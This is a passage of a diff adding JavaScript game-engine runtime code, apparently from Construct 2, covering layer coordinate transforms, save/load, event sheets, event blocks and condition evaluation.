+ glw.resetModelView();
+ glw.scale(myscale, myscale);
+ glw.rotateZ(-this.getAngle());
+ glw.translate((this.viewLeft + this.viewRight) / -2, (this.viewTop + this.viewBottom) / -2);
+ glw.updateModelView();
+ }
+ };
+ Layer.prototype.canvasToLayer = function (ptx, pty, getx, using_draw_area)
+ {
+ var multiplier = this.runtime.devicePixelRatio;
+ if (this.runtime.isRetina)
+ {
+ ptx *= multiplier;
+ pty *= multiplier;
+ }
+ var ox = this.runtime.parallax_x_origin;
+ var oy = this.runtime.parallax_y_origin;
+ var par_x = ((this.layout.scrollX - ox) * this.parallaxX) + ox;
+ var par_y = ((this.layout.scrollY - oy) * this.parallaxY) + oy;
+ var x = par_x;
+ var y = par_y;
+ var invScale = 1 / this.getScale(!using_draw_area);
+ if (using_draw_area)
+ {
+ x -= (this.runtime.draw_width * invScale) / 2;
+ y -= (this.runtime.draw_height * invScale) / 2;
+ }
+ else
+ {
+ x -= (this.runtime.width * invScale) / 2;
+ y -= (this.runtime.height * invScale) / 2;
+ }
+ x += ptx * invScale;
+ y += pty * invScale;
+ var a = this.getAngle();
+ if (a !== 0)
+ {
+ x -= par_x;
+ y -= par_y;
+ var cosa = Math.cos(a);
+ var sina = Math.sin(a);
+ var x_temp = (x * cosa) - (y * sina);
+ y = (y * cosa) + (x * sina);
+ x = x_temp;
+ x += par_x;
+ y += par_y;
+ }
+ return getx ? x : y;
+ };
+ Layer.prototype.layerToCanvas = function (ptx, pty, getx, using_draw_area)
+ {
+ var ox = this.runtime.parallax_x_origin;
+ var oy = this.runtime.parallax_y_origin;
+ var par_x = ((this.layout.scrollX - ox) * this.parallaxX) + ox;
+ var par_y = ((this.layout.scrollY - oy) * this.parallaxY) + oy;
+ var x = par_x;
+ var y = par_y;
+ var a = this.getAngle();
+ if (a !== 0)
+ {
+ ptx -= par_x;
+ pty -= par_y;
+ var cosa = Math.cos(-a);
+ var sina = Math.sin(-a);
+ var x_temp = (ptx * cosa) - (pty * sina);
+ pty = (pty * cosa) + (ptx * sina);
+ ptx = x_temp;
+ ptx += par_x;
+ pty += par_y;
+ }
+ var invScale = 1 / this.getScale(!using_draw_area);
+ if (using_draw_area)
+ {
+ x -= (this.runtime.draw_width * invScale) / 2;
+ y -= (this.runtime.draw_height * invScale) / 2;
+ }
+ else
+ {
+ x -= (this.runtime.width * invScale) / 2;
+ y -= (this.runtime.height * invScale) / 2;
+ }
+ x = (ptx - x) / invScale;
+ y = (pty - y) / invScale;
+ var multiplier = this.runtime.devicePixelRatio;
+ if (this.runtime.isRetina && !using_draw_area)
+ {
+ x /= multiplier;
+ y /= multiplier;
+ }
+ return getx ? x : y;
+ };
+ Layer.prototype.rotatePt = function (x_, y_, getx)
+ {
+ if (this.getAngle() === 0)
+ return getx ? x_ : y_;
+ var nx = this.layerToCanvas(x_, y_, true);
+ var ny = this.layerToCanvas(x_, y_, false);
+ this.disableAngle = true;
+ var px = this.canvasToLayer(nx, ny, true);
+ var py = this.canvasToLayer(nx, ny, true);
+ this.disableAngle = false;
+ return getx ? px : py;
+ };
+ Layer.prototype.saveToJSON = function ()
+ {
+ var i, len, et;
+ var o = {
+ "s": this.scale,
+ "a": this.angle,
+ "vl": this.viewLeft,
+ "vt": this.viewTop,
+ "vr": this.viewRight,
+ "vb": this.viewBottom,
+ "v": this.visible,
+ "bc": this.background_color,
+ "t": this.transparent,
+ "px": this.parallaxX,
+ "py": this.parallaxY,
+ "o": this.opacity,
+ "zr": this.zoomRate,
+ "fx": [],
+ "cg": this.created_globals, // added r197; list of global UIDs already created
+ "instances": []
+ };
+ for (i = 0, len = this.effect_types.length; i < len; i++)
+ {
+ et = this.effect_types[i];
+ o["fx"].push({"name": et.name, "active": et.active, "params": this.effect_params[et.index] });
+ }
+ return o;
+ };
+ Layer.prototype.loadFromJSON = function (o)
+ {
+ var i, j, len, p, inst, fx;
+ this.scale = o["s"];
+ this.angle = o["a"];
+ this.viewLeft = o["vl"];
+ this.viewTop = o["vt"];
+ this.viewRight = o["vr"];
+ this.viewBottom = o["vb"];
+ this.visible = o["v"];
+ this.background_color = o["bc"];
+ this.transparent = o["t"];
+ this.parallaxX = o["px"];
+ this.parallaxY = o["py"];
+ this.opacity = o["o"];
+ this.zoomRate = o["zr"];
+ this.created_globals = o["cg"] || []; // added r197
+ cr.shallowAssignArray(this.initial_instances, this.startup_initial_instances);
+ var temp_set = new cr.ObjectSet();
+ for (i = 0, len = this.created_globals.length; i < len; ++i)
+ temp_set.add(this.created_globals[i]);
+ for (i = 0, j = 0, len = this.initial_instances.length; i < len; ++i)
+ {
+ if (!temp_set.contains(this.initial_instances[i][2])) // UID in element 2
+ {
+ this.initial_instances[j] = this.initial_instances[i];
+ ++j;
+ }
+ }
+ cr.truncateArray(this.initial_instances, j);
+ var ofx = o["fx"];
+ for (i = 0, len = ofx.length; i < len; i++)
+ {
+ fx = this.getEffectByName(ofx[i]["name"]);
+ if (!fx)
+ continue; // must've gone missing
+ fx.active = ofx[i]["active"];
+ this.effect_params[fx.index] = ofx[i]["params"];
+ }
+ this.updateActiveEffects();
+ this.instances.sort(sort_by_zindex);
+ this.zindices_stale = true;
+ };
+ cr.layer = Layer;
+}());
+;
+(function()
+{
+ var allUniqueSolModifiers = [];
+ function testSolsMatch(arr1, arr2)
+ {
+ var i, len = arr1.length;
+ switch (len) {
+ case 0:
+ return true;
+ case 1:
+ return arr1[0] === arr2[0];
+ case 2:
+ return arr1[0] === arr2[0] && arr1[1] === arr2[1];
+ default:
+ for (i = 0; i < len; i++)
+ {
+ if (arr1[i] !== arr2[i])
+ return false;
+ }
+ return true;
+ }
+ };
+ function solArraySorter(t1, t2)
+ {
+ return t1.index - t2.index;
+ };
+ function findMatchingSolModifier(arr)
+ {
+ var i, len, u, temp, subarr;
+ if (arr.length === 2)
+ {
+ if (arr[0].index > arr[1].index)
+ {
+ temp = arr[0];
+ arr[0] = arr[1];
+ arr[1] = temp;
+ }
+ }
+ else if (arr.length > 2)
+ arr.sort(solArraySorter); // so testSolsMatch compares in same order
+ if (arr.length >= allUniqueSolModifiers.length)
+ allUniqueSolModifiers.length = arr.length + 1;
+ if (!allUniqueSolModifiers[arr.length])
+ allUniqueSolModifiers[arr.length] = [];
+ subarr = allUniqueSolModifiers[arr.length];
+ for (i = 0, len = subarr.length; i < len; i++)
+ {
+ u = subarr[i];
+ if (testSolsMatch(arr, u))
+ return u;
+ }
+ subarr.push(arr);
+ return arr;
+ };
+ function EventSheet(runtime, m)
+ {
+ this.runtime = runtime;
+ this.triggers = {};
+ this.fasttriggers = {};
+ this.hasRun = false;
+ this.includes = new cr.ObjectSet(); // all event sheets included by this sheet, at first-level indirection only
+ this.deep_includes = []; // all includes from this sheet recursively, in trigger order
+ this.already_included_sheets = []; // used while building deep_includes
+ this.name = m[0];
+ var em = m[1]; // events model
+ this.events = []; // triggers won't make it to this array
+ var i, len;
+ for (i = 0, len = em.length; i < len; i++)
+ this.init_event(em[i], null, this.events);
+ };
+ EventSheet.prototype.toString = function ()
+ {
+ return this.name;
+ };
+ EventSheet.prototype.init_event = function (m, parent, nontriggers)
+ {
+ switch (m[0]) {
+ case 0: // event block
+ {
+ var block = new cr.eventblock(this, parent, m);
+ cr.seal(block);
+ if (block.orblock)
+ {
+ nontriggers.push(block);
+ var i, len;
+ for (i = 0, len = block.conditions.length; i < len; i++)
+ {
+ if (block.conditions[i].trigger)
+ this.init_trigger(block, i);
+ }
+ }
+ else
+ {
+ if (block.is_trigger())
+ this.init_trigger(block, 0);
+ else
+ nontriggers.push(block);
+ }
+ break;
+ }
+ case 1: // variable
+ {
+ var v = new cr.eventvariable(this, parent, m);
+ cr.seal(v);
+ nontriggers.push(v);
+ break;
+ }
+ case 2: // include
+ {
+ var inc = new cr.eventinclude(this, parent, m);
+ cr.seal(inc);
+ nontriggers.push(inc);
+ break;
+ }
+ default:
+;
+ }
+ };
+ EventSheet.prototype.postInit = function ()
+ {
+ var i, len;
+ for (i = 0, len = this.events.length; i < len; i++)
+ {
+ this.events[i].postInit(i < len - 1 && this.events[i + 1].is_else_block);
+ }
+ };
+ EventSheet.prototype.updateDeepIncludes = function ()
+ {
+ cr.clearArray(this.deep_includes);
+ cr.clearArray(this.already_included_sheets);
+ this.addDeepIncludes(this);
+ cr.clearArray(this.already_included_sheets);
+ };
+ EventSheet.prototype.addDeepIncludes = function (root_sheet)
+ {
+ var i, len, inc, sheet;
+ var deep_includes = root_sheet.deep_includes;
+ var already_included_sheets = root_sheet.already_included_sheets;
+ var arr = this.includes.valuesRef();
+ for (i = 0, len = arr.length; i < len; ++i)
+ {
+ inc = arr[i];
+ sheet = inc.include_sheet;
+ if (!inc.isActive() || root_sheet === sheet || already_included_sheets.indexOf(sheet) > -1)
+ continue;
+ already_included_sheets.push(sheet);
+ sheet.addDeepIncludes(root_sheet);
+ deep_includes.push(sheet);
+ }
+ };
+ EventSheet.prototype.run = function (from_include)
+ {
+ if (!this.runtime.resuming_breakpoint)
+ {
+ this.hasRun = true;
+ if (!from_include)
+ this.runtime.isRunningEvents = true;
+ }
+ var i, len;
+ for (i = 0, len = this.events.length; i < len; i++)
+ {
+ var ev = this.events[i];
+ ev.run();
+ this.runtime.clearSol(ev.solModifiers);
+ if (this.runtime.hasPendingInstances)
+ this.runtime.ClearDeathRow();
+ }
+ if (!from_include)
+ this.runtime.isRunningEvents = false;
+ };
+ function isPerformanceSensitiveTrigger(method)
+ {
+ if (cr.plugins_.Sprite && method === cr.plugins_.Sprite.prototype.cnds.OnFrameChanged)
+ {
+ return true;
+ }
+ return false;
+ };
+ EventSheet.prototype.init_trigger = function (trig, index)
+ {
+ if (!trig.orblock)
+ this.runtime.triggers_to_postinit.push(trig); // needs to be postInit'd later
+ var i, len;
+ var cnd = trig.conditions[index];
+ var type_name;
+ if (cnd.type)
+ type_name = cnd.type.name;
+ else
+ type_name = "system";
+ var fasttrigger = cnd.fasttrigger;
+ var triggers = (fasttrigger ? this.fasttriggers : this.triggers);
+ if (!triggers[type_name])
+ triggers[type_name] = [];
+ var obj_entry = triggers[type_name];
+ var method = cnd.func;
+ if (fasttrigger)
+ {
+ if (!cnd.parameters.length) // no parameters
+ return;
+ var firstparam = cnd.parameters[0];
+ if (firstparam.type !== 1 || // not a string param
+ firstparam.expression.type !== 2) // not a string literal node
+ {
+ return;
+ }
+ var fastevs;
+ var firstvalue = firstparam.expression.value.toLowerCase();
+ var i, len;
+ for (i = 0, len = obj_entry.length; i < len; i++)
+ {
+ if (obj_entry[i].method == method)
+ {
+ fastevs = obj_entry[i].evs;
+ if (!fastevs[firstvalue])
+ fastevs[firstvalue] = [[trig, index]];
+ else
+ fastevs[firstvalue].push([trig, index]);
+ return;
+ }
+ }
+ fastevs = {};
+ fastevs[firstvalue] = [[trig, index]];
+ obj_entry.push({ method: method, evs: fastevs });
+ }
+ else
+ {
+ for (i = 0, len = obj_entry.length; i < len; i++)
+ {
+ if (obj_entry[i].method == method)
+ {
+ obj_entry[i].evs.push([trig, index]);
+ return;
+ }
+ }
+ if (isPerformanceSensitiveTrigger(method))
+ obj_entry.unshift({ method: method, evs: [[trig, index]]});
+ else
+ obj_entry.push({ method: method, evs: [[trig, index]]});
+ }
+ };
+ cr.eventsheet = EventSheet;
+ function Selection(type)
+ {
+ this.type = type;
+ this.instances = []; // subset of picked instances
+ this.else_instances = []; // subset of unpicked instances
+ this.select_all = true;
+ };
+ Selection.prototype.hasObjects = function ()
+ {
+ if (this.select_all)
+ return this.type.instances.length;
+ else
+ return this.instances.length;
+ };
+ Selection.prototype.getObjects = function ()
+ {
+ if (this.select_all)
+ return this.type.instances;
+ else
+ return this.instances;
+ };
+ /*
+ Selection.prototype.ensure_picked = function (inst, skip_siblings)
+ {
+ var i, len;
+ var orblock = inst.runtime.getCurrentEventStack().current_event.orblock;
+ if (this.select_all)
+ {
+ this.select_all = false;
+ if (orblock)
+ {
+ cr.shallowAssignArray(this.else_instances, inst.type.instances);
+ cr.arrayFindRemove(this.else_instances, inst);
+ }
+ this.instances.length = 1;
+ this.instances[0] = inst;
+ }
+ else
+ {
+ if (orblock)
+ {
+ i = this.else_instances.indexOf(inst);
+ if (i !== -1)
+ {
+ this.instances.push(this.else_instances[i]);
+ this.else_instances.splice(i, 1);
+ }
+ }
+ else
+ {
+ if (this.instances.indexOf(inst) === -1)
+ this.instances.push(inst);
+ }
+ }
+ if (!skip_siblings)
+ {
+ }
+ };
+ */
+ Selection.prototype.pick_one = function (inst)
+ {
+ if (!inst)
+ return;
+ if (inst.runtime.getCurrentEventStack().current_event.orblock)
+ {
+ if (this.select_all)
+ {
+ cr.clearArray(this.instances);
+ cr.shallowAssignArray(this.else_instances, inst.type.instances);
+ this.select_all = false;
+ }
+ var i = this.else_instances.indexOf(inst);
+ if (i !== -1)
+ {
+ this.instances.push(this.else_instances[i]);
+ this.else_instances.splice(i, 1);
+ }
+ }
+ else
+ {
+ this.select_all = false;
+ cr.clearArray(this.instances);
+ this.instances[0] = inst;
+ }
+ };
+ cr.selection = Selection;
+ function EventBlock(sheet, parent, m)
+ {
+ this.sheet = sheet;
+ this.parent = parent;
+ this.runtime = sheet.runtime;
+ this.solModifiers = [];
+ this.solModifiersIncludingParents = [];
+ this.solWriterAfterCnds = false; // block does not change SOL after running its conditions
+ this.group = false; // is group of events
+ this.initially_activated = false; // if a group, is active on startup
+ this.toplevelevent = false; // is an event block parented only by a top-level group
+ this.toplevelgroup = false; // is parented only by other groups or is top-level (i.e. not in a subevent)
+ this.has_else_block = false; // is followed by else
+;
+ this.conditions = [];
+ this.actions = [];
+ this.subevents = [];
+ this.group_name = "";
+ this.group = false;
+ this.initially_activated = false;
+ this.group_active = false;
+ this.contained_includes = null;
+ if (m[1])
+ {
+ this.group_name = m[1][1].toLowerCase();
+ this.group = true;
+ this.initially_activated = !!m[1][0];
+ this.contained_includes = [];
+ this.group_active = this.initially_activated;
+ this.runtime.allGroups.push(this);
+ this.runtime.groups_by_name[this.group_name] = this;
+ }
+ this.orblock = m[2];
+ this.sid = m[4];
+ if (!this.group)
+ this.runtime.blocksBySid[this.sid.toString()] = this;
+ var i, len;
+ var cm = m[5];
+ for (i = 0, len = cm.length; i < len; i++)
+ {
+ var cnd = new cr.condition(this, cm[i]);
+ cnd.index = i;
+ cr.seal(cnd);
+ this.conditions.push(cnd);
+ /*
+ if (cnd.is_logical())
+ this.is_logical = true;
+ if (cnd.type && !cnd.type.plugin.singleglobal && this.cndReferences.indexOf(cnd.type) === -1)
+ this.cndReferences.push(cnd.type);
+ */
+ this.addSolModifier(cnd.type);
+ }
+ var am = m[6];
+ for (i = 0, len = am.length; i < len; i++)
+ {
+ var act = new cr.action(this, am[i]);
+ act.index = i;
+ cr.seal(act);
+ this.actions.push(act);
+ }
+ if (m.length === 8)
+ {
+ var em = m[7];
+ for (i = 0, len = em.length; i < len; i++)
+ this.sheet.init_event(em[i], this, this.subevents);
+ }
+ this.is_else_block = false;
+ if (this.conditions.length)
+ {
+ this.is_else_block = (this.conditions[0].type == null && this.conditions[0].func == cr.system_object.prototype.cnds.Else);
+ }
+ };
+ window["_c2hh_"] = "F8FCA6DE065E5FC5931757F53FCFCAF65DA20C23";
+ EventBlock.prototype.postInit = function (hasElse/*, prevBlock_*/)
+ {
+ var i, len;
+ var p = this.parent;
+ if (this.group)
+ {
+ this.toplevelgroup = true;
+ while (p)
+ {
+ if (!p.group)
+ {
+ this.toplevelgroup = false;
+ break;
+ }
+ p = p.parent;
+ }
+ }
+ this.toplevelevent = !this.is_trigger() && (!this.parent || (this.parent.group && this.parent.toplevelgroup));
+ this.has_else_block = !!hasElse;
+ this.solModifiersIncludingParents = this.solModifiers.slice(0);
+ p = this.parent;
+ while (p)
+ {
+ for (i = 0, len = p.solModifiers.length; i < len; i++)
+ this.addParentSolModifier(p.solModifiers[i]);
+ p = p.parent;
+ }
+ this.solModifiers = findMatchingSolModifier(this.solModifiers);
+ this.solModifiersIncludingParents = findMatchingSolModifier(this.solModifiersIncludingParents);
+ var i, len/*, s*/;
+ for (i = 0, len = this.conditions.length; i < len; i++)
+ this.conditions[i].postInit();
+ for (i = 0, len = this.actions.length; i < len; i++)
+ this.actions[i].postInit();
+ for (i = 0, len = this.subevents.length; i < len; i++)
+ {
+ this.subevents[i].postInit(i < len - 1 && this.subevents[i + 1].is_else_block);
+ }
+ /*
+ if (this.is_else_block && this.prev_block)
+ {
+ for (i = 0, len = this.prev_block.solModifiers.length; i < len; i++)
+ {
+ s = this.prev_block.solModifiers[i];
+ if (this.solModifiers.indexOf(s) === -1)
+ this.solModifiers.push(s);
+ }
+ }
+ */
+ };
+ EventBlock.prototype.setGroupActive = function (a)
+ {
+ if (this.group_active === !!a)
+ return; // same state
+ this.group_active = !!a;
+ var i, len;
+ for (i = 0, len = this.contained_includes.length; i < len; ++i)
+ {
+ this.contained_includes[i].updateActive();
+ }
+ if (len > 0 && this.runtime.running_layout.event_sheet)
+ this.runtime.running_layout.event_sheet.updateDeepIncludes();
+ };
+ function addSolModifierToList(type, arr)
+ {
+ var i, len, t;
+ if (!type)
+ return;
+ if (arr.indexOf(type) === -1)
+ arr.push(type);
+ if (type.is_contained)
+ {
+ for (i = 0, len = type.container.length; i < len; i++)
+ {
+ t = type.container[i];
+ if (type === t)
+ continue; // already handled
+ if (arr.indexOf(t) === -1)
+ arr.push(t);
+ }
+ }
+ };
+ EventBlock.prototype.addSolModifier = function (type)
+ {
+ addSolModifierToList(type, this.solModifiers);
+ };
+ EventBlock.prototype.addParentSolModifier = function (type)
+ {
+ addSolModifierToList(type, this.solModifiersIncludingParents);
+ };
+ EventBlock.prototype.setSolWriterAfterCnds = function ()
+ {
+ this.solWriterAfterCnds = true;
+ if (this.parent)
+ this.parent.setSolWriterAfterCnds();
+ };
+ EventBlock.prototype.is_trigger = function ()
+ {
+ if (!this.conditions.length) // no conditions
+ return false;
+ else
+ return this.conditions[0].trigger;
+ };
+ EventBlock.prototype.run = function ()
+ {
+ var i, len, c, any_true = false, cnd_result;
+ var runtime = this.runtime;
+ var evinfo = this.runtime.getCurrentEventStack();
+ evinfo.current_event = this;
+ var conditions = this.conditions;
+ if (!this.is_else_block)
+ evinfo.else_branch_ran = false;
+ if (this.orblock)
+ {
+ if (conditions.length === 0)
+ any_true = true; // be sure to run if empty block
+ evinfo.cndindex = 0
+ for (len = conditions.length; evinfo.cndindex < len; evinfo.cndindex++)
+ {
+ c = conditions[evinfo.cndindex];
+ if (c.trigger) // skip triggers when running OR block
+ continue;
+ cnd_result = c.run();
+ if (cnd_result) // make sure all conditions run and run if any were true
+ any_true = true;
+ }
+ evinfo.last_event_true = any_true;
+ if (any_true)
+ this.run_actions_and_subevents();
+ }
+ else
+ {
+ evinfo.cndindex = 0
+ for (len = conditions.length; evinfo.cndindex < len; evinfo.cndindex++)
+ {
+ cnd_result = conditions[evinfo.cndindex].run();
+ if (!cnd_result) // condition failed
+ {
+ evinfo.last_event_true = false;
+ if (this.toplevelevent && runtime.hasPendingInstances)
+ runtime.ClearDeathRow();
+ return; // bail out now
+ }
+ }
+ evinfo.last_event_true = true;
+ this.run_actions_and_subevents();
+ }
+ this.end_run(evinfo);
+ };
+ EventBlock.prototype.end_run = function (evinfo)
+ {
+ if (evinfo.last_event_true && this.has_else_block)
+ evinfo.else_branch_ran = true;
+ if (this.toplevelevent && this.runtime.hasPendingInstances)
+ this.runtime.ClearDeathRow();
+ };
+ EventBlock.prototype.run_orblocktrigger = function (index)
+ {
+ var evinfo = this.runtime.getCurrentEventStack();
+ evinfo.current_event = this;
+ if (this.conditions[index].run())
+ {
+ this.run_actions_and_subevents();
+ this.runtime.getCurrentEventStack().last_event_true = true;
+ }
+ };
+ EventBlock.prototype.run_actions_and_subevents = function ()
+ {
+ var evinfo = this.runtime.getCurrentEventStack();
+ var len;
+ for (evinfo.actindex = 0, len = this.actions.length; evinfo.actindex < len; evinfo.actindex++)
+ {
+ if (this.actions[evinfo.actindex].run())
+ return;
+ }
+ this.run_subevents();
+ };
+ EventBlock.prototype.resume_actions_and_subevents = function ()
+ {
+ var evinfo = this.runtime.getCurrentEventStack();
+ var len;
+ for (len = this.actions.length; evinfo.actindex < len; evinfo.actindex++)
+ {
+ if (this.actions[evinfo.actindex].run())
+ return;
+ }
+ this.run_subevents();
+ };
+ EventBlock.prototype.run_subevents = function ()
+ {
+ if (!this.subevents.length)
+ return;
+ var i, len, subev, pushpop/*, skipped_pop = false, pop_modifiers = null*/;
+ var last = this.subevents.length - 1;
+ this.runtime.pushEventStack(this);
+ if (this.solWriterAfterCnds)
+ {
+ for (i = 0, len = this.subevents.length; i < len; i++)
+ {
+ subev = this.subevents[i];
+ pushpop = (!this.toplevelgroup || (!this.group && i < last));
+ if (pushpop)
+ this.runtime.pushCopySol(subev.solModifiers);
+ subev.run();
+ if (pushpop)
+ this.runtime.popSol(subev.solModifiers);
+ else
+ this.runtime.clearSol(subev.solModifiers);
+ }
+ }
+ else
+ {
+ for (i = 0, len = this.subevents.length; i < len; i++)
+ {
+ this.subevents[i].run();
+ }
+ }
+ this.runtime.popEventStack();
+ };
+ EventBlock.prototype.run_pretrigger = function ()
+ {
+ var evinfo = this.runtime.getCurrentEventStack();
+ evinfo.current_event = this;
+ var any_true = false;
+ var i, len;
+ for (evinfo.cndindex = 0, len = this.conditions.length; evinfo.cndindex < len; evinfo.cndindex++)
+ {
+;
+ if (this.conditions[evinfo.cndindex].run())
+ any_true = true;
+ else if (!this.orblock) // condition failed (let OR blocks run all conditions anyway)
+ return false; // bail out
+ }
+ return this.orblock ? any_true : true;
+ };
+ EventBlock.prototype.retrigger = function ()
+ {
+ this.runtime.execcount++;
+ var prevcndindex = this.runtime.getCurrentEventStack().cndindex;
+ var len;
+ var evinfo = this.runtime.pushEventStack(this);
+ if (!this.orblock)
+ {
+ for (evinfo.cndindex = prevcndindex + 1, len = this.conditions.length; evinfo.cndindex < len; evinfo.cndindex++)
+ {
+ if (!this.conditions[evinfo.cndindex].run()) // condition failed
+ {
+ this.runtime.popEventStack(); // moving up level of recursion
+ return false; // bail out
+ }
+ }
+ }
+ this.run_actions_and_subevents();
+ this.runtime.popEventStack();
+ return true; // ran an iteration
+ };
+ EventBlock.prototype.isFirstConditionOfType = function (cnd)
+ {
+ var cndindex = cnd.index;
+ if (cndindex === 0)
+ return true;
+ --cndindex;
+ for ( ; cndindex >= 0; --cndindex)
+ {
+ if (this.conditions[cndindex].type === cnd.type)
+ return false;
+ }
+ return true;
+ };
+ cr.eventblock = EventBlock;
+ function Condition(block, m)
+ {
+ this.block = block;
+ this.sheet = block.sheet;
+ this.runtime = block.runtime;
+ this.parameters = [];
+ this.results = [];
+ this.extra = {}; // for plugins to stow away some custom info
+ this.index = -1;
+ this.anyParamVariesPerInstance = false;
+ this.func = this.runtime.GetObjectReference(m[1]);
+;
+ this.trigger = (m[3] > 0);
+ this.fasttrigger = (m[3] === 2);
+ this.looping = m[4];
+ this.inverted = m[5];
+ this.isstatic = m[6];
+ this.sid = m[7];
+ this.runtime.cndsBySid[this.sid.toString()] = this;
+ if (m[0] === -1) // system object
+ {
+ this.type = null;
+ this.run = this.run_system;
+ this.behaviortype = null;
+ this.beh_index = -1;
+ }
+ else
+ {
+ this.type = this.runtime.types_by_index[m[0]];
+;
+ if (this.isstatic)
+ this.run = this.run_static;
+ else
+ this.run = this.run_object;
+ if (m[2])
+ {
+ this.behaviortype = this.type.getBehaviorByName(m[2]);
+;
+ this.beh_index = this.type.getBehaviorIndexByName(m[2]);
+;
+ }
+ else
+ {
+ this.behaviortype = null;
+ this.beh_index = -1;
+ }
+ if (this.block.parent)
+ this.block.parent.setSolWriterAfterCnds();
+ }
+ if (this.fasttrigger)
+ this.run = this.run_true;
+ if (m.length === 10)
+ {
+ var i, len;
+ var em = m[9];
+ for (i = 0, len = em.length; i < len; i++)
+ {
+ var param = new cr.parameter(this, em[i]);
+ cr.seal(param);
+ this.parameters.push(param);
+ }
+ this.results.length = em.length;
+ }
+ };
+ Condition.prototype.postInit = function ()
+ {
+ var i, len, p;
+ for (i = 0, len = this.parameters.length; i < len; i++)
+ {
+ p = this.parameters[i];
+ p.postInit();
+ if (p.variesPerInstance)
+ this.anyParamVariesPerInstance = true;
+ }
+ };
+ /*
+ Condition.prototype.is_logical = function ()
+ {
+ return !this.type || this.type.plugin.singleglobal;
+ };
+ */
+ Condition.prototype.run_true = function ()
+ {
+ return true;
+ };
+ Condition.prototype.run_system = function ()
+ {
+ var i, len;
+ for (i = 0, len = this.parameters.length; i < len; i++)
+ this.results[i] = this.parameters[i].get();
+ return cr.xor(this.func.apply(this.runtime.system, this.results), this.inverted);
+ };
+ Condition.prototype.run_static = function ()
+ {
+ var i, len;
+ for (i = 0, len = this.parameters.length; i < len; i++)
+ this.results[i] = this.parameters[i].get();
+ var ret = this.func.apply(this.behaviortype ? this.behaviortype : this.type, this.results);
+ this.type.applySolToContainer();
+ return ret;
+ };
+ Condition.prototype.run_object = function ()
+ {
+ var i, j, k, leni, lenj, p, ret, met, inst, s, sol2;
+ var type = this.type;
+ var sol = type.getCurrentSol();
+ var is_orblock = this.block.orblock && !this.trigger; // triggers in OR blocks need to work normally
+ var offset = 0;
+ var is_contained = type.is_contained;
+ var is_family = type.is_family;
+ var family_index = type.family_index;
+ var beh_index = this.beh_index;
+ var is_beh = (beh_index > -1);
+ var params_vary = this.anyParamVariesPerInstance;
+ var parameters = this.parameters;
+ var results = this.results;
+ var inverted = this.inverted;
+ var func = this.func;
+ var arr, container;
+ if (params_vary)
+ {
+ for (j = 0, lenj = parameters.length; j < lenj; ++j)
+ {
+ p = parameters[j];
+ if (!p.variesPerInstance)
+ results[j] = p.get(0);
+ }
+ }
+ else
+ {
+ for (j = 0, lenj = parameters.length; j < lenj; ++j)
+ results[j] = parameters[j].get(0);
+ }
+ if (sol.select_all) {
+ cr.clearArray(sol.instances); // clear contents
+ cr.clearArray(sol.else_instances);
+ arr = type.instances;
+ for (i = 0, leni = arr.length; i < leni; ++i)
+ {
+ inst = arr[i];
+;
+ if (params_vary)
+ {
+ for (j = 0, lenj = parameters.length; j < lenj; ++j)
+ {
+ p = parameters[j];
+ if (p.variesPerInstance)
+ results[j] = p.get(i); // default SOL index is current object
+ }
+ }
+ if (is_beh)
+ {
+ offset = 0;
+ if (is_family)
+ {
+ offset = inst.type.family_beh_map[family_index];
+ }
+ ret = func.apply(inst.behavior_insts[beh_index + offset], results);
+ }
+ else
+ ret = func.apply(inst, results);
+ met = cr.xor(ret, inverted);
+ if (met)
+ sol.instances.push(inst);
+ else if (is_orblock) // in OR blocks, keep the instances not meeting the condition for subsequent testing
+ sol.else_instances.push(inst);
+ }
+ if (type.finish)
+ type.finish(true);
+ sol.select_all = false;
+ type.applySolToContainer();
+ return sol.hasObjects();
+ }
+ else {
+ k = 0;
+ var using_else_instances = (is_orblock && !this.block.isFirstConditionOfType(this));
+ arr = (using_else_instances ? sol.else_instances : sol.instances);
+ var any_true = false;
+ for (i = 0, leni = arr.length; i < leni; ++i)
+ {
+ inst = arr[i];
+;
+ if (params_vary)
+ {
+ for (j = 0, lenj = parameters.length; j < lenj; ++j)
+ {
+ p = parameters[j];
+ if (p.variesPerInstance)
+ results[j] = p.get(i); // default SOL index is current object
+ }
+ }
+ if (is_beh)
+ {
+ offset = 0;
+ if (is_family)
+ {
+ offset = inst.type.family_beh_map[family_index];
+ }
+ ret = func.apply(inst.behavior_insts[beh_index + offset], results);
+ }
+ else
+ ret = func.apply(inst, results);
+ if (cr.xor(ret, inverted))
+ {
+ any_true = true;
+ if (using_else_instances)
+ {
+ sol.instances.push(inst);
+ if (is_contained)
+ {
+ for (j = 0, lenj = inst.siblings.length; j < lenj; j++)
+ {
+ s = inst.siblings[j];
+ s.type.getCurrentSol().instances.push(s);
+ }
+ }
+ }
+ else
+ {
+ arr[k] = inst;
+ if (is_contained)
+ {
+ for (j = 0, lenj = inst.siblings.length; j < lenj; j++)
+ {
+ s = inst.siblings[j];
+ s.type.getCurrentSol().instances[k] = s;
+ }
+ }
+ k++;
+ }
+ }
+ else
+ {
+ if (using_else_instances)
+ {
+ arr[k] = inst;
+ if (is_contained)
+ {
+ for (j = 0, lenj = inst.siblings.length; j < lenj; j++)
+ {
+ s = inst.siblings[j];
+ s.type.getCurrentSol().else_instances[k] = s;
+ }
+ }
+ k++;
+ }
+ else if (is_orblock)
+ {
+ sol.else_instances.push(inst);
+ if (is_contained)
+ {
+ for (j = 0, lenj = inst.siblings.length; j < lenj; j++)
+ {
+ s = inst.siblings[j];
+ s.type.getCurrentSol().else_instances.push(s);
+ }
+ }
+ }
+ }
+ }
+ cr.truncateArray(arr, k);
+ if (is_contained)
+ {
+ container = type.container;
+ for (i = 0, leni = container.length; i < leni; i++)
+ {
+ sol2 = container[i].getCurrentSol();
+ if (using_else_instances)
+ cr.truncateArray(sol2.else_instances, k);
+ else
+ cr.truncateArray(sol2.instances, k);
+ }
+ }
+ var pick_in_finish = any_true; // don't pick in finish() if we're only doing the logic test below
+ if (using_else_instances && !any_true)
+ {
+ for (i = 0, leni = sol.instances.length; i < leni; i++)
+ {
+ inst = sol.instances[i];
+ if (params_vary)
+ {
+ for (j = 0, lenj = parameters.length; j < lenj; j++)
+ {
+ p = parameters[j];
+ if (p.variesPerInstance)
+ results[j] = p.get(i);
+ }
+ }
+ if (is_beh)
+ ret = func.apply(inst.behavior_insts[beh_index], results);
+ else
+ ret = func.apply(inst, results);
+ if (cr.xor(ret, inverted))
+ {
+ any_true = true;
+ break; // got our flag, don't need to test any more
+ }
+ }
+ }
+ if (type.finish)
+ type.finish(pick_in_finish || is_orblock);
+ return is_orblock ? any_true : sol.hasObjects();
+ }
